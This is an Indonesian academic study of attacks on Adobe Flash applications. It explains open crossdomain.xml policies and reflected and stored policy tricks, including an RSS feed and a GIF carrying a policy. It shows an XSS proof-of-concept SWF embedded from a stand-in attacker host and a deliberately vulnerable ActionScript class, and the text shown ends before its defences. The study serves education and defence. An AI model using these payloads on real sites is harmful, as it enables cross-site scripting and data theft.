

STUDI SERANGAN TERHADAP APLIKASI FLASH DAN PENANGANANNYA

Galih Hermawan

galih.hermawan@yahoo.co.id

http://galih.eu

Lisensi Dokumen:

Copyright © 2003-2012 IlmuKomputer.Org

Seluruh dokumen di IlmuKomputer.Com dapat digunakan, dimodifikasi dan disebarkan secara bebas untuk tujuan bukan komersial (nonprofit), dengan syarat tidak menghapus atau merubah atribut penulis dan pernyataan copyright yang disertakan dalam setiap dokumen. Tidak diperbolehkan melakukan penulisan ulang, kecuali mendapatkan ijin terlebih dahulu dari IlmuKomputer.Org.

Abstrak

Adobe Flash, yang dulunya disebut Macromedia Flash, merupakan sebuah platform multimedia yang digunakan untuk menambahkan animasi, video, dan media interaktif pada website. Flash banyak digunakan untuk keperluan iklan dan permainan. Dewasa ini, Flash juga digunakan sebagai sebuah perangkat *rich internet applications* (RIA).

Flash memanipulasi grafik vektor dan raster untuk menyediakan animasi teks, lukisan, dan gambar. Mendukung juga *streaming* audio dan video dua arah, dan dapat menangkap input dari pengguna melalui mouse, keyboard, mikrofon, dan kamera. Flash berisi sebuah bahasa berorientasi objek yang disebut *Action Script*. Adobe Flash dapat digunakan untuk menyerang aplikasi web yang menggunakan Flash maupun aplikasi yang tidak menggunakan Flash. Jadi, tidak ada satupun aplikasi web yang kebal terhadap serangan berbasis Flash. Serangan Flash dilakukan melalui *cross-site scripting* (XSS) dan *cross-site request forgery* (CSRF), bahkan dengan adanya suatu proteksi, dapat meloloskan diri dari perlunya akses intranet dan dapat mengelakkan diri dari *firewall*.

Versi Flash saat ini memiliki model keamanan yang cukup kompleks yang dapat dikustomisasi sesuai dengan keinginan para pengembang. Pada dasarnya, model keamanan Flash sama dengan kebijakan aslinya, seperti: Flash dapat membaca respon hanya dari domain yang sama dengan domain asal aplikasi Flash berada. Flash juga mengizinkan komunikasi antar domain, jika kebijakan keamanan di domain lain mengizinkan adanya komunikasi dengan domain dimana aplikasi Flash tersebut berada. Kebijakan yang diterapkan pada Flash memungkinkan aplikasi Flash di internet dapat berkomunikasi dengan server hosting, dimana sering disebut "*open security policy (OSP)*". OSP inilah yang dapat menyebabkan aplikasi Flash berbuat "jahat" melalui sebuah serangan bernama XSS dan CSRF.

Dalam makalah ini akan disajikan hasil kajian penulis yang berkaitan dengan jenis-jenis serangan terhadap aplikasi Flash juga akan disajikan bagaimana mengamankan aplikasi-aplikasi Flash supaya meminimalisir terjadinya serangan-serangan yang telah disebutkan.

DAFTAR ISI

ABSTRAK	i
DAFTAR ISI.....	iii
BAB 1 PENDAHULUAN	
1.1 Latar Belakang.....	1
1.2 Tujuan	2
1.3 Batasan Masalah	2
1.4 Metodologi Penulisan	2
BAB 2 TEKNOLOGI FLASH	
2.1 Pendahuluan.....	3
2.2 Sejarah Flash.....	3
2.3 Cara Kerja.....	4
2.4 Kritikan.....	6
BAB 3 <i>FLASH ATTACK</i>	
3.1 Objek <i>Shockwave Flash</i> (SWF).....	9
3.2 Model Keamanan Flash	10
3.3 <i>Security Policy Reflection Attack</i>	12
3.4 <i>Security Policy Stored Attacks</i>	13
3.5 <i>Flash Hacking Tools</i>	14
3.6 XSS dan XSF Melalui Aplikasi Flash	16
3.6.1 XSS Berbasis getURL().....	18
3.6.2 XSS Via clickTag().....	19
3.6.3 XSS Via HTML TextField.htmlText dan TextArea.htmlText ...	20
3.6.4 XSS Via Fungsi <i>Loading</i> loadMovie() dan Fungsi <i>Loading</i> lainnya.....	21

3.6.5 XSF Via Fungsi <i>Loading</i> <i>loadMovie</i> dan Fungsi <i>Loading</i> SWF, Gambar, dan Suara lainnya.....	22
3.6.6 Pengaruh <i>URL Redirector</i> Terhadap Serangan XSF	23
3.6.7 XSS pada SWF Pengendali dan Otomatis Dibangkitkan	24
3.7 Pengamanan Aplikasi Flash.....	24
BAB 4 PENUTUP	26
DAFTAR PUSTAKA	27

BAB 1

PENDAHULUAN

1.1 Latar Belakang

Web 2.0 dalam dunia internet merupakan istilah yang digunakan untuk menggambarkan sebuah teknologi baru di bidang web yang menawarkan interaktivitas lebih baik dan lebih banyak terhadap aplikasi-aplikasi berbasis web, seperti: Google Maps, Live.com, dan lain sebagainya. Teknologi-teknologi semacam *Asynchronous JavaScript XML (AJAX)*, *Cascading Style Sheets (CSS)*, Flash, XML, JavaScript tingkat lanjut, .Net, dan ActiveX semuanya berada dalam lingkungan teknologi Web 2.0. Teknologi ActiveX dan Flash, yang memang sebelumnya sudah ada, sekarang mulai digunakan oleh pemilik atau pengembang website sebagai fitur dasar penyediaan website interaktif, bukan lagi sekedar efek visual.

Adanya Web 2.0 memungkinkan pengguna mengkustomisasi konten di aplikasi web yang tersedia, bukan lagi sekedar melihat halaman statis yang dibuat oleh pengembang website. Sebagai contoh adalah: YouTube.com, MySpace.com, FaceBook.com, dan website sejenisnya, dimana aplikasi-aplikasi web dibuat berdasarkan konten yang disediakan atau dikustomisasi pengguna.

Dalam dunia keamanan (*security*), pemanfaatan teknologi-teknologi tersebut di atas seringkali tidak terlalu memperhatikan keamanan di dalam aplikasi webnya. Dalam teknologi Web 2.0, penanganan keamanan dalam mengelola data masukan pengguna terhadap aplikasi web, baik yang hanya menggunakan kode HTML biasa, sampai objek Flash menjadi semakin kompleks. Teknologi ActiveX dan Flash semakin canggih dan kaya fitur seiring dengan perkembangan teknologi Web 2.0, dimana hal ini juga menambah koleksi jenis-jenis serangan terhadap aplikasi web yang lebih baru dan canggih, seperti: *cross-domain attacks* atau *Cross-Site Scripting (XSS)*.

Oleh karena itu, sangat penting melakukan kajian terhadap pengertian dan pemanfaatan teknologi-teknologi dalam Web 2.0, secara khusus dalam tulisan ini

adalah serangan aplikasi Flash, sehingga diharapkan dapat menghasilkan solusi yang tepat untuk menangani masalah tersebut.

1.2 Tujuan

Tujuan dari penulisan makalah tugas akhir ini adalah untuk mengkaji teori, cara kerja, dan pemanfaatan teknologi Flash dalam Web 2.0. Juga mengkaji kemungkinan serangan-serangan yang dapat dilakukan oleh teknologi Flash ini beserta solusi yang mungkin dapat digunakan untuk mencegah terjadinya atau mengatasi adanya serangan-serangan tersebut.

1.3 Batasan Masalah

Adapun batasan masalah dalam tulisan ini adalah:

- kajian teknologi Web 2.0 fokus hanya pada teknologi Flash;
- jenis serangan Flash yang dibahas seputar *Cross Domain Attacks* (XSS), *Cross Site Request Forgery* (CSRF), dan *Cross Domain Flashing* (XSF);
- solusi dari serangan disampaikan pada akhir bab 3 setelah semua jenis serangan dibahas.

1.4 Metodologi Penulisan

Metode penelitian yang dilakukan adalah dengan studi literatur-literatur yang terkait dengan topik yang dibahas.

BAB 2

TEKNOLOGI FLASH

2.1 Pendahuluan

Adobe Flash, yang dulunya disebut Macromedia Flash, merupakan sebuah platform multimedia yang digunakan untuk menambahkan animasi, video, dan media interaktif pada website. Flash banyak digunakan untuk keperluan iklan dan permainan. Dewasa ini, Flash juga digunakan sebagai sebuah perangkat *rich internet applications* (RIA).

Flash memanipulasi grafik vektor dan raster untuk menghasilkan animasi teks, gambar (lukisan tangan) dan gambar biasa. Juga mendukung streaming audio dan video dua arah (*bidirectional*), dan mendukung pula rekaman masukan pengguna melalui mouse, keyboard, mikrofon, dan kamera. Flash berisi sebuah bahasa pemrograman berorientasi objek yang disebut ActionScript.

Isi dari Flash dapat ditampilkan di berbagai macam sistem dan perangkat komputer, dengan menggunakan *Adobe Flash Player*, yang tersedia secara gratis untuk dapat digunakan pada web browser, perangkat mobile dan beberapa perangkat elektronik (yaitu dengan menggunakan *Flash Lite*)^[1].

2.2 Sejarah Flash

Teknologi Flash dikenalkan oleh perusahaan bernama Macromedia pada tahun 1996, dimana saat ini dikembangkan dan didistribusikan oleh perusahaan bernama Adobe Systems.

Perintis aplikasi Flash sebelumnya adalah SmartSketch, yaitu sebuah aplikasi menggambar pada komputer genggam yang berjalan pada sistem operasi PenPoint yang dikembangkan oleh Jonatahn Gay, dimana memulai pekerjaannya ketika masih kuliah dan melanjutkan idenya di perusahaan Silicon Beach Software dan penerusnya. Ketika PenPint gagal dalam segi pemasaran, SmartSketch di-*port* ke

Microsoft Windows dan Mac OS. Dengan semakin populernya internet, SmartSketch dirilis ulang menjadi FutureSplash, sebuah animasi web berbasis vektor bersaing dengan Macromedia Shockwave.

Pada tahun 1995, SmartSketch dimodifikasi dengan menambahkan fitur animasi *frame-by-frame* dan dirilis dengan nama FutureSplash Animator yang berjalan pada banyak *platform*. Produk tersebut sebelumnya pernah ditawarkan pada Adobe dan digunakan oleh Microsoft pada awal kerjanya dengan internet (MSN). Tahun 1996, FutureSplash diakuisisi oleh Macromedia dan dirilis dengan nama Flash, kependekan dari “*Future*” dan “*Splash*”.

Tahun 2007, Adobe Systems mengakuisisi Macromedia, berikutnya merilis Adobe Flash CS3 Professional, yang merupakan versi lanjutan dari Macromedia Flash^[1].

2.3 Cara Kerja

File Flash menggunakan format SWF, sering disebut “*Shock Wave Flash*” *movies*, atau “*Flash movies*”, atau “*Flash games*”, biasanya menggunakan file berekstensi .swf, dan digunakan dalam bentuk *plug-in* pada sebuah halaman web, dimainkan secara mandiri pada sebuah *Flash Player*, atau dalam bentuk *Projector movie* berekstensi .exe pada Microsoft Windows yang dapat langsung dieksekusi. File-file Flash Video memiliki file ekstensi .flv yang dapat digunakan dalam sebuah file .swf atau diputar menggunakan aplikasi pemutar file .flv mandiri, semacam VLC, QuickTime, dan Windows Media Player dengan menggunakan *multimedia codec* eksternal.

Penggunaan grafik vektor yang dikombinasikan dengan kode program menjadikan Flash bisa berukuran lebih kecil, sehingga untuk keperluan *streaming* hanya menggunakan *bandwidth* rendah, daripada gambar bitmap atau klip video. Untuk konten dalam format tunggal (seperti hanya teks, video, atau audio), alternative lain mungkin bisa menyediakan performansi yang lebih baik dan membutuhkan daya CPU yang lebih rendah daripada *Flash movie*, misalnya ketika menggunakan transparansi atau update layar lebar seperti efek fotografik atau teks yang memudar.

Sebagai sebuah tambahan pada mesin atau sistem untuk me-render vektor, *Flash Player* menyertakan sebuah mesin virtual yang disebut *ActionScript Virtual Machine* (ASV) untuk inter-aktivitas *scripting* pada saat *run-time*., mendukung format video, audio berbasis MP3, dan grafik bitmap. Pada *Flash Player 8*, telah disediakan dua *video codec*, yaitu: On2 Technologies VP6 dan Sorenson Spark, dukungan *run-time* untuk JPEG, Progressive JPEG, PNG, dan GIF. Pada versi berikutnya, *Flash* menggunakan kompiler *just-in-time* untuk mesin *ActionScript*.

Flash Video

Hampir semua plugin video pada *web browser* adalah gratis dan *cross-platform*, termasuk *Flash Video* milik Adobe, dimana diperkenalkan pertama kali pada *Flash* versi 6. *Flash Video* menjadi pilihan populer untuk website dikarenakan instalasi *Flash* yang tersebar pada komputer pengguna dan sifatnya yang dapat diprogram ulang. Pada tahun 2010, perusahaan Apple mengkritik Adobe *Flash* di depan umum, termasuk penerapan pemutaran video yang tidak memanfaatkan keuntungan dari akselerasi hardware, salah satu alasan dari kenapa *Flash* tidak ditemukan pada perangkat *mobile* buatan Apple. Segera setelah mendapat kritikan dari Apple, Adobe mendemonstrasikan dan merilis *Flash 10.1* ersi beta, yang memanfaatkan akselerasi hardware GPU (*Graphic Processing Unit*), bahkan pada sistem operasi Mac. *Flash 10.2* versi beta, dirilis pada bulan Desember 2010, akhirnya menambahkan fitur pemanfaatan akselerasi hardware CPU *multicore* untuk video berformat h.264, tiga tahun setelah *decoder* lainnya.

Flash Audio

Flash Audio hampir semuanya di-*encode* dalam format MP3 atau AAC (*Advanced Audio Coding*), namun juga mendukung ADPCM, Nellymoser (*Nellymoser Asao Codec*) dan Speex *audio codec*. *Flash* mengijinkan frekuensi audio pada rerata 11, 22, dan 44,1 KHz. *Flash* tidak mendukung frekuensi 48 KHz yang merupakan standar dari TV dan DVD.

Pada bulan Agustus 2007, Adobe mengumumkan pada blognya bahwa dengan Update 3 dari *Flash Player 9*, *Flash Video* juga mendukung sebagian dari format

standar internasional MPEG-4. Secara khusus, Flash Player akan mendukung video yang dikompres menggunakan H.264 (MPEG-4 bagian 10), audio yang dikompres menggunakan AAC (MPEG-4 bagian 3), F4V, MP4 (MPEG-4 bagian 14), M4V, 3GP, dan MOV.

Adobe Flash Player 10.1 tidak mendukung pembatalan echo akustik, tidak seperti VoIP yang ditawarkan oleh Skype dan Google Voice. Hal ini menjadikan Flash kurang sesuai untuk digunakan pada *group calling* atau *meeting*, dimana penggunaan *headphone* untuk semua peserta adalah penting, atau paling tidak sangat dianjurkan^[1].

2.4 Kritikkan

a. Ketersediaan

Flash diblokir pada beberapa negara yang berada dalam sanksi negara Amerika Serikat (seperti Syria dan Sudan). Para pengguna pada negara-negara ini diblokir (oleh Adobe) dari mengunduh plugin Flash untuk browser Internet Explorer dan Firefox.

b. Keamanan

Dari beberapa rekaman berkaitan dengan keamanan Flash, telah menjadikan beberapa pakar keamanan merekomendasikan untuk tidak menginstal Flash atau memblokirnya. Lembaga US-CERT merekomendasikan untuk memblokir Flash dengan menggunakan plugin NoScript.

Pada tanggal 31 Oktober 2010, Flash Player telah mengkoleksi 100 jenis kesalahan di bidang keamanan, dimana 65 di antaranya memiliki resiko tinggi (rentan terhadap *arbitrary code execution*), dan 45 di antaranya dengan resiko kategori sedang.

c. *Local Shared Object (Flash Cookies)*

Sebagaimana *cookie* pada HTTP, sebuah *flash cookie* (yang juga dikenal sebagai “*Local Shared Object*”) dapat digunakan untuk menyimpan data aplikasi. *Flash cookies* tidak dibagi antar domain.

Pada bulan Agustus 2009, sebuah studi yang dilakukan oleh Social Science Research Network menemukan bahwa 50% dari website yang menggunakan Flash juga menerapkan *Flash cookies*, dimana jarang sekali mengungkap *privacy policy* pada penggunanya, dan pengguna juga sangat lemah dalam mengontrol preferensi privasinya.

Hampir semua fungsi penghapusan *cache* dan *history* pada browser tidak berdampak pada *cache Local Shared Object* yang ditulis oleh *Flash Player*, dan para pengguna tidak terlalu memperhatikan keberadaan *Flash cookies* ketimbang *HTTP cookies*. Jadi, para pengguna yang telah menghapus *HTTP cookies* dan file-file *history* dan *cache* pada browser percaya bahwa mereka telah menghapus semua jejak data dari komputer mereka, dimana dalam kenyataannya *history browsing* dari Flash masih tetap ada. Adobe memiliki *Flash Storage Settings Panel*, sebuah sub menu dari *Flash Settings Manager web application*, dan perangkat editor lainnya untuk mengolah pengaturan penghapusan *Flash Local Shared Objects*.

d. Performansi

- Setiap *Flash player* harus dapat jalan saat *me-render* video, dimana membuat *rendering* video akselerasi hardware tidak sesederhana aplikasi yang sengaja dibangun sebagai aplikasi multimedia. Oleh karena itu, meskipun hanya sekedar menampilkan video, *Flash player* akan menggunakan sumber daya lebih besar daripada aplikasi pemutar video yang sebenarnya.
- Dalam perbandingan performansi berdasarkan sistem operasi, dengan spesifikasi hardware yang sama, *Adobe Flash Player* mampu berjalan lebih baik pada sistem operasi Windows ketimbang Mac OSX dan Linux.

e. Aksesibilitas

Penggunaan Flash cenderung memutuskan konvensi yang terkait dengan halaman HTML normal. Memilih teks, menggulung layar, kontrol form dan klik kanan bertindak berbeda jika dibandingkan dengan sebuah halaman web HTML biasa.

Banyak antarmuka yang tidak diharapkan yang harus diperbaiki oleh perancang desain web atau aplikasi^[1].

BAB 3

FLASH ATTACK

3.1 Objek Shockwave Flash (SWF)

Flash, selain sebagai penambah inter-aktivitas dalam website, juga dapat dijadikan sebagai aplikasi dalam web. Beberapa toko online memiliki antarmuka berbasis Flash, dan sering juga digunakan dalam software jukebox seperti radio Pandora. Penggunaan umum Flash dalam konteks aplikasi adalah game online. Mulai dari game online biasa hingga game online yang sengaja dibuat untuk dapat menghasilkan uang, dimana tentu saja hal ini akan menarik bagi pemangsa atau penyerang aplikasi tersebut.

Aplikasi dengan kontrol pada sisi klien tentu saja dapat berbuat kesalahan yang terjadi di sisi klien. Ide oenerapan game atau aplikasi online menggunakan komponen *thickclient* yang berjalan secara lokal di mesin si penyerang akan membangkitkan rasa ingin tahu mengenai aplikasi tersebut. Jika aspek manapun dalam permainan dikontrol oleh komponen Flash, bukan oleh server, si penyerang dapat memanipulasi aplikasi permainan dengan ketepatan tertentu mengakali rintangan, mengubah peraturan, atau mengubah skor untuk dikirimkan ke server.

Sebagaimana komponen *thick-client* lainnya, objek Flash berada pada sebuah file yang dikompilasi dan di-*download* oleh *browser* dari server dan berjalan pada sebuah mesin virtual, dimana dalam hal ini adalah sebuah *Flash player* yang diimplementasikan dalam sebuah *plug-in browser*. File SWF berisi *bytecode* yang diinterpretasikan oleh *Flash Virtual Machine* (FVM), dan sebagaimana sama dengan *bytecode* Java, bisa didekompilasi untuk menemukan kode *ActionScript* yang sebenarnya, dengan menggunakan aplikasi tertentu. Salah satu bentuk serangan yang efektif adalah dengan membongkar (*disassemble*) dan memodifikasi *bytecode* tersebut tanpa perlu sepenuhnya mendekompilasi ke bentuk aslinya.

Flasm adalah salah satu contoh aplikasi *disassembler/assembler* untuk bytecode SWF dan dapat digunakan untuk mengekstrak bytecode dari sebuah file SWF dalam bentuk yang dapat dibaca manusia (*human-readable*) kemudian menyusun ulang *bytecode* yang sudah dimodifikasi ke file SWF yang baru^[2].

3.2 Model Keamanan Flash

Flash merupakan salah satu *plug-in* populer untuk hampir kebanyakan *browser*. Versi terbaru Flash memiliki model keamanan yang rumit yang dapat dikustomisasi sesuai dengan preferensi pengembang.

Tujuan dari penulisan makalah tugas akhir ini adalah untuk mengkaji teori, cara kerja, dan pemanfaatan teknologi Flash dalam Web 2.0. Juga mengkaji kemungkinan serangan-serangan yang dapat dilakukan oleh teknologi Flash ini beserta solusi yang mungkin dapat digunakan untuk mencegah terjadinya atau mengatasi adanya serangan-serangan tersebut. Bahasa *scripting* Flash yang disebut ActionScript, jika dilihat pada perspektif penyerang, ada beberapa *class* yang menarik, yaitu:

- Class Socket, memungkinkan pengembang untuk membuat koneksi *socket* TCP dasar dengan domain-domain yang telah diijinkan, untuk tujuan seperti *request* HTTP secara lengkap dengan *header* yang sudah diubah sebagai penunjuk. Juga, *socket* dapat digunakan untuk membaca (*scanning*) port-port dan komputer pada jaringan yang dapat diakses namun tidak dapat diakses dari luar.
- Class ExternalInterface, memungkinkan pengembang untuk menjalankan JavaScript dalam *browser* dari Flash, untuk tujuan seperti membaca dari dan menulis ke dalam *document.cookie*.
- Class XML dan URLLoader, class ini melakukan *HTTP requests* (dengan menggunakan *cookies* dari *browser*) atas nama si pengguna terhadap domain yang diijinkan, dengan tujuan seperti *crossdomain requests*.

Secara *default*, model keamanan untuk Flash sama dengan yang memiliki kebijakan asal yang sama, sering disebut *origin policy*. Misalnya saja, Flash dapat membaca respon dari permintaan hanya dari domain yang sama dimana aplikasi Flash tersebut berasal. Flash juga menempatkan keamanan disaat terdapat *HTTP requests*, tapi kita

dapat melakukan *GET requests* antar domain melalui fungsi Flash *getURL*. Dan juga, Flash tidak mengizinkan aplikasi-aplikasi Flash yang dipanggil atas HTTP untuk membaca *HTTPS responses*.

Flash mengizinkan komunikasi antar domain, jika kebijakan keamanan pada domain lain mengizinkan komunikasi dengan domain dimana aplikasi Flash berada. Kebijakan keamanan merupakan sebuah file XML yang biasanya diberi nama *crossdomain.xml* dan diletakkan di direktori utama (*root*) pada domain satunya. File dengan kebijakan terburuk jika dilihat dari sisi keamanan adalah seperti berikut:

```
<cross-domain-policy>  
    <allow-access-from domain="*" />  
</cross-domain-policy>
```

Kebijakan seperti tersebut di atas mengizinkan aplikasi Flash manapun yang ada di internet dapat berkomunikasi (*crossdomain*) dengan server hosting melalui file *crossdomain.xml* ini. Inilah yang disebut dengan “*open*” *security policy* (OSP) atau kebijakan keamanan terbuka. Kebijakan keamanan terbuka (OSP) menjadikan aplikasi Flash yang jahat melakukan hal-hal berikut:

- memanggil atau mengeksekusi halaman-halaman web atau file di domain hosting yang *vulnerable* melalui objek XML. Hal ini memungkinkan si penyerang membaca data rahasia pada situs yang *vulnerable* tersebut, termasuk *CSRF protection tokens*, dan mungkin juga *cookies* yang ditambahkan pada URL (seperti *jsessionid*).
- melakukan HTTP GET dan POST berbasis serangan CSRF melalui fungsi *getURL()* dan objek XML meskipun sudah ada sejenis perlindungan CSRF.

File kebijakan dapat memiliki nama apa saja dan terletak di direktori mana saja. Sebuah file kebijakan keamanan yang selalu berubah-ubah dipanggil dengan menggunakan kode *ActionScript* seperti berikut:

```
System.security.loadPolicyFile("http://halaman-web.sekolah.ac.id/  
crossdomain.xml");
```

System.security.loadPolicyFile () adalah sebuah fungsi *ActionScript* dalam Flash untuk memanggil URL dari tipe MIME apapun dan berusaha membaca

kebijakan keamanan pada *HTTP response*. Jika file kebijakan tidak berada di direktori utama server, maka kebijakan dilaksanakan hanya pada direktori yang berisi file kebijakan, serta semua subdirektori di dalamnya. Sebagai contoh, anggap sebuah file kebijakan terletak di :

```
http://halaman-web.sekolah.ac.id/~penyerang/crossdomain.xml
```

Kebijakan tersebut akan diterapkan pada *request* seperti :

```
http://halaman-web.sekolah.ac.id/~penyerang/FileJahat.html
```

Namun tidak pada halaman dengan alamat :

```
http://halaman-web.sekolah.ac.id/~mahasiswa/profil.html
```

atau

```
http://halaman-web.sekolah.ac.id/index.html
```

Bagaimanapun juga, keamanan berbasis direktori tidak seharusnya diandalkan^[3].

3.3 *Security Policy Reflection Attack*

File kebijakan umumnya di-*parsing* oleh Flash. Jika seorang penyerang dapat menyusun sebuah *HTTP request* yang menyebabkan server mengirimkan file kebijakan kepadanya, Flash akan menerima file kebijakan tersebut. Sebagai contoh, terdapat *AJAX request* sebagai berikut:

```
http://www.sekolah.ac.id/DaftarMataKuliah?format=js&callback=  
<cross-domain-policy><allow-access-from%20domain="*"/>  
</cross-domain-policy>
```

direspons dengan :

```
<cross-domain-policy><allow-access-from%20domain="*"/>  
</cross-domain-policy>() { return {name:"Keamanan Informasi Lanjut",  
desc:"Baca Buku"}, {name:"Pemrograman", desc:"belajar coding"}};
```

Kita dapat memanggil kebijakan tersebut melalui ActionScript berikut :

```
System.security.loadPolicyFile("http://www.sekolah.ac.id/DaftarMataK
```

Hal ini akan menyebabkan aplikasi Flash memiliki akses cross-domain sepenuhnya ke <http://www.sekolah.ac.id/>. Catatan bahwa tipe MIME yang direspon tidaklah berpengaruh. Jadi, jika XSS dicegah dengan berbasis pada tipe MIME, maka efek dari kebijakan keamanan masih tetap bekerja^[3].

3.4 Security Policy Stored Attacks

Jika si penyerang dapat meng-*upload* dan menyimpan sebuah file gambar, audio, RSS, atau lainnya pada sebuah server dimana nantinya bisa diambil atau dipanggil lagi, maka dia dapat meletakkan kebijakan keamanan Flash di file tersebut. Misalnya, pada *RSS feed* berikut diterima sebagai sebuah *open security policy* :

```
<?xml version="1.0"?>  
<rss version="2.0">  
<channel>  
  <title>  
    <cross-domain-policy>  
      <allow-access-from domain="*" />  
    </cross-domain-policy>  
  </title>  
  <link>x</link>  
  <description>x</description>  
  <language>en-us</language>  
  <pubDate>Sat, 1 Jan 2011 04:00:00 GMT</pubDate>  
  <lastBuildDate>Sat, 1 Jan 2011 09:41:01 GMT</lastBuildDate>  
  <docs>x</docs>  
  <generator>x</generator>  
  <item>  
    <title>x</title>  
    <link>x</link>  
    <description>x</description>  
    <pubDate>Sat, 25 Dec 2010 09:39:21 GMT</pubDate>  
    <guid>x</guid>  
  </item>  
</channel>  
</rss>
```

Gambar 3.1 Contoh RSS Feed dengan OSP

Stefan Esser di situs php-hardening.net menemukan serangan terhadap file kebijakan keamanan yang tersimpan (*stored security policy*) dengan menggunakan komentar pada file GIF. Dia membuat sebuah gambar GIF sebesar satu piksel, yang memiliki sebuah *Flash OSP* dalam komentar file GIF. Pada Flash Player v9.0 r47, hal ini masih diterima oleh *loadPolicy()* :

```
00000000 47 49 46 38 39 61 01 01-01 01 e7 e9 20 3c 63 72 GIF89a.....<cr
00000010 6f 73 73 2d 64 6f 6d 61-69 6e 2d 70 6f 6c 69 63 oss-domain-police
00000020 79 3e 0a 20 20 3c 61 6c-6c 6f 77 2d 61 63 63 65 y>...<allow-acce
00000030 73 73 2d 66 72 6f 6d 20-64 6f 6d 61 69 6e 3d 22 ss-from domain="
00000040 2a 22 2f 3e 20 0a 20 20-3c 2f 63 72 6f 73 73 2d */>...</cross-
00000050 64 6f 6d 61 69 6e 2d 70-6f 6c 69 63 79 3e 47 49 domain-policy>..
```

Gambar 3.2 Contoh komentar pada file GIF

Kita dapat meletakkan sebuah OSP dalam data (tidak hanya komentar) dari file valid apapun, termasuk gambar, audio, atau file data lainnya. Hal ini lebih mudah dilakukan dengan menggunakan file dengan format tidak terkompres, seperti file gambar BMP. Pada Flash Player v9.0 r47, batasannya hanya pada bahwa fungsi *loadPolicy()* membutuhkan setiap *byte* sebelum akhir dari tag `</cross-domain-policy>` adalah sebagai berikut:

- tidak kosong;
- tidak memiliki tag XML yang tertutup (karakter `<` tersasar, `0x3c`);
- merupakan ASCII 7-bit (*byte* `0x01` sampai `0x7F`)^[3].

3.5 *Flash Hacking Tools*

Pemrograman Flash mudah difahami oleh para pengembang JavaScript dikarenakan bahasa ActionScript dari Flash dan JavaScript memiliki akar yang sama. Dua alat utama untuk *hacking* Flash adalah Motion-Twin ActionScript Compiler (MTASC), dan *decompiler* ActionScript bernama Flare milik *no/wrap*.

MTASC mengkompilasi file Flash biner pada Flash versi 6, 7, dan 8 (disebut juga SWF, *Flash movies*, dan aplikasi Flash). MTASC tersedia di situs www.mtasc.org.

Berikut ini contoh kode Flash sederhana:

```
class CobaHacking {  
    static function main(args) {  
        var KodeSerang : String = "alert(1)";  
        getURL("javascript:" + KodeSerang);  
    }  
}
```

Tentu saja, seorang pengguna jahat dapat meletakkan kode JavaScript yang diubah pada `KodeSerang`. Perintah `alert(1)` di sini hanya sebagai contoh kode JavaScript sederhana untuk menunjukkan bahwa kita dapat mengeksekusi sebuah kode JavaScript. Tentunya kode tersebut dapat diganti dengan kode JavaScript jahat lainnya.

Untuk mengkompilasi `CobaHacking`, install `MTASC`, simpan *source code* sebelumnya dengan nama `CobaHacking.as`, dan kompilasi dengan perintah berikut :

```
mtasc -swf CobaHacking.swf -main -header 640:480:20 -version 7 CobaHacking.as
```

Ini akan membuat file *binary* SWF versi 7, yaitu `CobaHacking.swf`.

Seorang penyerang dapat menggunakan file SWF ini untuk XSS dengan memasukkannya pada sebuah kode HTML berikut di situs yang vulnerable :

```
<embed src="http://jahat.com/CobaHacking.swf" width="640" height="480">  
</embed>
```

Atau sama saja dengan kode berikut :

```
<object type="application/x-shockwave-flash"  
data="http://jahat.com/CobaHacking.swf" width="640" height="480" >  
<param name="movie" value="http://jahat.com/CobaHacking.swf">  
</object>
```

Kode JavaScript tersebut akan dieksekusi pada domain di situs yang *vulnerable*. Namun bagaimanapun juga, hal ini merupakan suatu XSS yang kompleks dikarenakan bisa saja si penyerang lebih memilih dengan secara langsung memasukkan kode JavaScript di antara tag *script*.

Kebalikan dari MTASC adalah Flare. Flare mendekompilasi file SWF ke bentuk *source code* ActionScript yang dapat dibaca. Aplikasi ini dapat diambil di www.nowrap.de/flare.html dan cara menjalankannya adalah sebagai berikut :

```
flare CobaHacking.swf
```

Hal ini akan membuat file baru CobaHacking.flr berisi kode ActionScript berikut :

```
movie CobaHacking.swf' {
// flash 7, total frames: 1, frame rate: 20 fps, 640x480 px, compressed
movieClip 20480 __Packages.CobaHacking {
  #initclip
  if (!CobaHacking) {
    _global.CobaHacking = function () {};
    var v1 = _global.CobaHacking.prototype;
    _global.CobaHacking.main = function (args) {
      var v3 = 'alert(1)';
      getURL('javascript:' + v3, '_self');
    };
    ASSetPropFlags(v1, null, 1);
  }
  #endinitclip
}

frame 1 {
  CobaHacking.main(this);
}
```

Gambar 3.3 Hasil dekompilasi menggunakan Flare

Catatan bahwa Flare telah membuatkan kode ActionScript yang dapat dibaca dan sepenuhnya berfungsi untuk file CobaHacking.swf^[3].

3.6 XSS dan XSF Melalui Aplikasi Flash

Akar permasalahan dari XSS adalah bahwa server yang vulnerable tersebut tidak memvalidasi *user-definable input* (atau masukan yang bisa dispesifikasi oleh pengguna), sehingga seorang penyerang dapat memasukkan kode HTML yang didalamnya termuat kode JavaScript jahat. *HTML injection* adalah disebabkan kesalahan pemrograman pada server yang memungkinkan penyerang melakukan XSS attacks. Bagaimanapun, XSS juga dapat terjadi melalui aplikasi Flash pada sisi *client*. XSS melalui aplikasi web terjadi ketika *user-definable input* dalam aplikasi

Flash tidak divalidasi dengan baik. XSS dieksekusi pada domain yang memuat aplikasi Flash.

Sebagaimana para pengembang pemrograman di sisi server (*server side programming*), pengembang Flash juga harus memvalidasi masukan pengguna di aplikasi Flash mereka atau beresiko terjadinya XSS melalui aplikasi Flash mereka. Sayangnya, banyak pengembang Flash tidak memvalidasi masukan pengguna, sehingga terjadi banyak XSS dalam aplikasi-aplikasi Flash, termasuk di dalamnya aplikasi Flash yang otomatis dibuat.

Menemukan XSS dalam aplikasi Flash sebenarnya lebih mudah ketimbang XSS pada aplikasi web dikarenakan penyerang dapat mendekompilasi aplikasi Flash dan menemukan permasalahan keamanan pada *source code*-nya, daripada menguji secara buta atau acak pada aplikasi web *server-side*.

Silakan perhatikan contoh aplikasi Flash yang mengambil masukan dari pengguna berikut :

```
class VulnerableMovie {
    static var app : VulnerableMovie;
    function VulnerableMovie() {
        _root.createTextField("tf", 0, 100, 100, 640, 480);

        if (_root.userinput1 != null) {
            getURL(_root.userinput1);
        }

        _root.tf.html = true; // default-nya adalah false
        _root.tf.htmlText = "Halo " + _root.userinput2;

        if (_root.userinput3 != null ) {
            _root.loadMovie(_root.userinput3);
        }
    }

    static function main(mc) {
        app = new VulnerableMovie();
    }
}
```

Gambar 3.4 Coba kode Flash yang menerima masukan dari pengguna

